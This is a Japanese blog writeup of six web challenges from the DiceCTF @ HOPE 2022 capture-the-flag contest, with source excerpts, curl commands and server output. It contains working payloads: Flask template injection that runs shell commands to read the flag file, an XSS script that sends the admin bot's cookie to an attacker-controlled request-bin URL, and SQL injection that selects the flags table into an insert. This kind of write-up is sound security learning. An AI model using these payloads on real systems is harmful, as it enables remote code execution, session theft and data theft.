[DiceCTF @ HOPE 2022] My own writeup

Posted on Jul 25, 2022

DiceCTF @ HOPE 2022が7/23 3:00 - 7/25 3:00(JST)の日程で開催されました. webを解いていたので, そのwriteupを以下に記します.

  • [web] secure-page(293 solves)
  • [web] reverser(225 solves)
  • [web] flag-viewer(217 solves)
  • [web] pastebin(139 solves)
  • [web] point(111 solves)
  • [web] oeps(83 solves)

[web] secure-page(293 solves)

cookieとしてadmin=trueを送信すると, flagが得られるようです.

admin = request.cookies.get('admin', '')

headers = {}
if admin == '':
    headers['set-cookie'] = 'admin=false'

if admin == 'true':
    return (200, '''
        <title>Secure Page</title>
        <link rel="stylesheet" href="/style.css" />
        <div class="container">
            <h1>Secure Page</h1>
            %s
        </div>
    ''' % os.environ.get('FLAG', 'flag is missing!'), headers)
else:
    return (200, '''
        <title>Secure Page</title>
        <link rel="stylesheet" href="/style.css" />
        <div class="container">
            <h1>Secure Page</h1>
            Sorry, you must be the admin to view this content!
        </div>
    ''', headers)

cookieを送信してflagを得ます.

$ curl -b 'admin=true' https://secure-page.mc.ax/  

            <title>Secure Page</title>
            <link rel="stylesheet" href="/style.css" />
            <div class="container">
                <h1>Secure Page</h1>
                hope{signatures_signatures_signatures}
            </div>
        %      

[web] reverser(225 solves)

ユーザーの入力をそのままflaskのrender_template_string()に挿入しています. サーバーサイドテンプレートインジェクションが可能です.

from flask import Flask, render_template_string, request

app = Flask(__name__)
...
@app.post('/')
def reverse():
    result = '''
        <link rel="stylesheet" href="style.css" />
        <div class="container">
            <h1>Text Reverser</h1>
            Reverse any text... now as a web service!
            <form method="POST">
                <input type="text" name="text">
                <input type="submit" value="Reverse">
            </form>
            <p>Output: %s</p>
        </div>
    '''
    output = request.form.get('text', '')[::-1]
    return render_template_string(result % output)

こちらのブログを参考に, コード実行を行います. ペイロードとして{{request.application.__globals__.__builtins__.__import__('os').popen('ls -lah').read()}}を送信します. ペイロードを反転させる必要があるため, 反転して送信します.

{% raw %}
$ curl -X POST --data-urlencode "text=}})(daer.)'hal- sl'(nepop.)'so'(__tropmi__.__snitliub__.__slabolg__.noitacilppa.tseuqer{{"  https://reverser.mc.ax/
{% endraw %}


        <link rel="stylesheet" href="style.css" />
        <div class="container">
            <h1>Text Reverser</h1>
            Reverse any text... now as a web service!
            <form method="POST">
                <input type="text" name="text">
                <input type="submit" value="Reverse">
            </form>
            <p>Output: total 16K
drwxr-xr-x 1 root root 4.0K Jul 22 19:41 .
drwxr-xr-x 1 root root 4.0K Jul 22 19:55 ..
-rw-r--r-- 1 root root 1.5K Jul 22 19:41 app.py
-rw-r--r-- 1 root root   28 Jul 22 19:41 flag-f5953883-3dae-4a0f-9660-d00b50ff4012.txt
</p>
        </div>
    %                                            

flagが書かれているファイルはflag-f5953883-3dae-4a0f-9660-d00b50ff4012.txtであることがわかるので, 中身を表示します.

{% raw %}
$ curl -X POST --data-urlencode "text=}})(daer.)'txt.2104ff05b00d-0669-f0a4-ead3-3883595f-galf tac'(nepop.)'so'(__tropmi__.__snitliub__.__slabolg__.noitacilppa.tseuqer{{"  https://reverser.mc.ax/
{% endraw %}
        <link rel="stylesheet" href="style.css" />
        <div class="container">
            <h1>Text Reverser</h1>
            Reverse any text... now as a web service!
            <form method="POST">
                <input type="text" name="text">
                <input type="submit" value="Reverse">
            </form>
            <p>Output: hope{cant_misuse_templates}
</p>
        </div>
    %                  

[web] flag-viewer(217 solves)

リクエストボディでuser=adminを送信するとflagが得られます.

@server.post('/flag')
async def flag(request):
    data = await request.post()
    user = data.get('user', '')

    if user != 'admin':
        return (302, '/?message=Only the "admin" user can see the flag!')

    return (302, f'/?message={os.environ.get("FLAG", "flag missing!")}')

locationヘッダにflagが格納されます.

$ curl -v -X POST --data-urlencode "user=admin" https://flag-viewer.mc.ax/flag 
...
< HTTP/2 302 
< content-type: text/plain; charset=utf-8
< date: Sat, 23 Jul 2022 15:11:10 GMT
< location: /?message=hope%7Boops_client_side_validation_again%7D
< server: Python/3.9 aiohttp/3.8.1
< content-length: 10

[web] pastebin(139 solves)

XSSの問題です. 以下のadmin botが用意されています. admin botは問題サイト(pastebin.mc.ax)のcookieにflagを格納して, ユーザーが指定するurlを訪れます.

import flag from './flag.txt'

export default {
  id: 'pastebin',
  name: 'pastebin',
  timeout: 10000,
  handler: async (url, ctx) => {
    const page = await ctx.newPage()
    await page.setCookie({ name: 'flag', value: flag.trim(), domain: 'pastebin.mc.ax' })
    await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' })
    await page.waitForTimeout(5000)
  },
}

問題サイト(pastebin.mc.ax)では/flashでmessageクエリパラメータを入力でき, そのパラメータは特に有効なチェックがなされることなくhtmlに表示されます. このパラメータを用いてXSSを行います.

app.get('/', (req, res) => {
  const error = req.headers?.cookie?.match(/(?:^|; )error=(.+?)(?:;|$)/)?.[1];
  res.type('html');
  res.end(`
    <link rel="stylesheet" href="/style.css" />
    <div class="container">
        <h1>Yet Another Pastebin</h1>
        <form id="form" method="POST" action="/new">
            <textarea form="form" name="paste"></textarea>
            <input type="submit" value="Submit" />
        </form>
        <div style="color: red">${error ?? ''}</div>
    </div>
  `);
});
...
app.get('/flash', (req, res) => {
  const message = req.query.message ?? '';
  res.set('set-cookie', `error=${message}`);
  res.redirect('/');
});

以下のurlにadmin botを訪問させます. Request Binなどでサーバを立て, XSS経由でjavascriptを実行してadmin botのcookie(flag)を送信させます.

https://pastebin.mc.ax/flash?message=<script>fetch(`[Request Binなどで立てたサーバのurl]?cookie=${document.cookie}`)</script>

無事にflagが送信されました. flag

[web] point(111 solves)

リクエストボディで渡したjsonがGoの構造体に変換されます.

type importantStuff struct {
	Whatpoint string `json:"what_point"`
}
...
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
    switch r.Method {
		case http.MethodGet:
			fmt.Fprint(w, "Hello, world")
			return
		case http.MethodPost:
            body, err := io.ReadAll(r.Body)
			fmt.Println(string(body))
            ...
            var whatpoint importantStuff
            err = json.Unmarshal(body, &whatpoint)
            if err != nil {
                fmt.Println(err)
                fmt.Fprintf(w, "Something went wrong 3")
                return
            }

flagを取るためにはwhatpoint構造体のキーWhatpointの値をthat_pointにしなければなりません.

if whatpoint.Whatpoint == "that_point" {
    fmt.Fprintf(w, "Congrats! Here is the flag: %s", flag)
    return
} else {
    fmt.Fprintf(w, "Something went wrong 4")
    return
}

キーWhatpointのjsonタグ名がwhat_pointに設定されているため, jsonのキーもwhat_pointを指定したいところです. しかし, 入力チェックが行われるため入力値のjsonキーにはwhat_pointの文字列を含めることはできません.

if strings.Contains(string(body), "what_point") || strings.Contains(string(body), "\\") {
    fmt.Fprintf(w, "Something went wrong 2")
    return
}

こちらを参考にすると, 構造体に指定したjsonタグ名は完全一致である必要はないそうです.

How does Unmarshal identify the fields in which to store the decoded data? For a given JSON key “Foo”, Unmarshal will look through the destination struct’s fields to find (in order of preference):

  • An exported field with a tag of “Foo” (see the Go spec for more on struct tags),
  • An exported field named “Foo”, or
  • An exported field named “FOO” or “FoO” or some other case-insensitive match of “Foo”.

What_pointWHAT_POINTでも許容され, flagが得られます.

$ curl -X POST -H "Content-Type: application/json" -d '{"What_point":"that_point"}' https://point.mc.ax/ 
Congrats! Here is the flag: hope{cA5e_anD_P0iNt_Ar3_1mp0rT4nT}
$ curl -X POST -H "Content-Type: application/json" -d '{"WHAT_POINT":"that_point"}' https://point.mc.ax/
Congrats! Here is the flag: hope{cA5e_anD_P0iNt_Ar3_1mp0rT4nT}

[web] oeps(83 solves)

回文を投稿するとDBに登録され, 一覧が表示されるサイトが提供されています. 回文の検索も可能ですが, flagを取得するためにはこの機能は用いません. oeps

以下の回文を登録するinsert文のsubmissionパラメータを用いてSQLインジェクションを行います.

connection.execute('''
    insert into pending (user, sentence) values ('%s', '%s');
''' % (
    token,
    submission
))

flagはflagsテーブルに格納されています.

connection.execute('''
        create table flags (
            flag text
        );
    ''')

flagをSELECT文で取得し, 文字列に連結してpendingテーブルにinsertします. submissionとして'||(select flag from flags))--を送信します. submissionは回文である必要があるため, --))sgalf morf galf tceles(||'||(select flag from flags))--を送信するとpendingテーブルにsentenseとしてflagを含む文字列が挿入されます.

まず/を訪問してtokenを発行します.

$ curl -I https://oeps.mc.ax
HTTP/2 200 
content-type: text/html; charset=utf-8
date: Sun, 24 Jul 2022 07:38:30 GMT
server: Python/3.9 aiohttp/3.8.1
set-cookie: token=3685fb59d7486cdd9a196483743a6fb3
content-length: 785

次にSQLインジェクションを用いてflagを含む文字列をpendingテーブルに挿入します.

$ curl -X POST -b 'token=3685fb59d7486cdd9a196483743a6fb3' --data-urlencode "submission=--))sgalf morf galf tceles(||'||(select flag from flags))--" https://oeps.mc.ax/submit
302: Found%         

最後にflagを含む文字列を確認します.

curl -b 'token=3685fb59d7486cdd9a196483743a6fb3' https://oeps.mc.ax

        <title>OEPS</title>
        <link rel="stylesheet" href="/style.css" />
        <div class="container">
            <h1>The On-Line Encyclopedia of Palidromic Sentences</h1>
            Enter a word or phrase:
            <form action="/search" method="GET">
                <input type="text" name="search" placeholder="on" />
                <input type="submit" value="Search" />
            </form>
            <h2>Submit Sentence:</h2>
            New palindrome:
            <form action="/submit" method="POST">
                <input type="text" name="submission" />
                <input type="submit" value="Submit" />
            </form>
            <div style="color: red"></div>
            <h2>Pending submissions:</h2>
            <ul><li>--))sgalf morf galf tceles(||hope{ecid_gnivlovni_semordnilap_fo_kniht_ton_dluoc}</li></ul>
        </div>
    %                    

感想

webのoepsで「insert文中でselectのクエリ結果を文字列連結する」というアイデアがなかなか出てこず, 手こずっていました. そのため, そのアイデアを試し, 実際にflagが取れた時はとても嬉しかったです. このように, 悪用の可能性とそれを実現するアイデアを自分で考え, 実行する経験を大事にしていきたいところです.